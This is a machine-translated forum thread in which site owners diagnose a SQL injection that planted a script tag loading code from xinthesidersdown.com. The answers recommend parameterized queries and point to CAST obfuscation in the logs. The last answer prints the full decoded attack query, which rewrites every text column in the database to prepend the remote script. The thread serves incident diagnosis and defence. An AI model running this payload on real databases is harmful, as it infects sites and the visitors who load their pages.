似乎有一个<script src="http://xinthesidersdown.com">
被注入到客户端服务器中,我已经检查了日志以查看注入的位置和方式。不幸的是,当我搜索xinthesidersdown
以查看它是否被注入时,我认为它没有显示任何结果。有没有人有任何建议,以了解入侵者如何进入并将此代码注入数据库?谢谢。
答案 0 :(得分:2)
我有同样的问题。
我们之前已经有过几次数据库注入 - 但是由于用ADODB Command执行替换了正常的开放记录集,所以能够阻止它们:
示例:
<强>之前:强>
szSQL = "SELECT ...."
adoRstM.CursorLocation = adUseClient
adoRstM.CursorType = adOpenStatic
adoRstM.LockType = adLockBatchOptimistic
adoRstM.Open szSQL, adoCon
立即强>
Set objCommand = Server.CreateObject("ADODB.COMMAND")
Set objCommand.ActiveConnection = adoCon
objCommand.CommandText = szSQL
objCommand.CommandType = adCmdText
Set param1 = objCommand.CreateParameter ("nMenu", adInteger, adParamInput)
param1.value = Cint(nMenu)
objCommand.Parameters.Append param1
Set param1 = objCommand.CreateParameter ("nSubMenu", adInteger, adParamInput)
param1.value = Cint(nSubMenu)
objCommand.Parameters.Append param1
Set adoRstM = objCommand.Execute()
但我们不得不在任何地方更换它!
我现在正在查看我们的网站 - 如果我们可能错过了一个。 也许这有助于你...
答案 1 :(得分:2)
在日志条目中查找“CAST”一词......
答案 2 :(得分:2)
详细说明Einav的答案(我和她合作),使用CAST函数将十六进制格式的有效负载转换为实际的恶意查询字符串,然后由SQL执行,从而对注入有效内容进行模糊处理。 exec命令。可以看到通用注射形式 here
本案例中的特定有效负载转换为:
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://xinthesidersdown.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
希望有所帮助。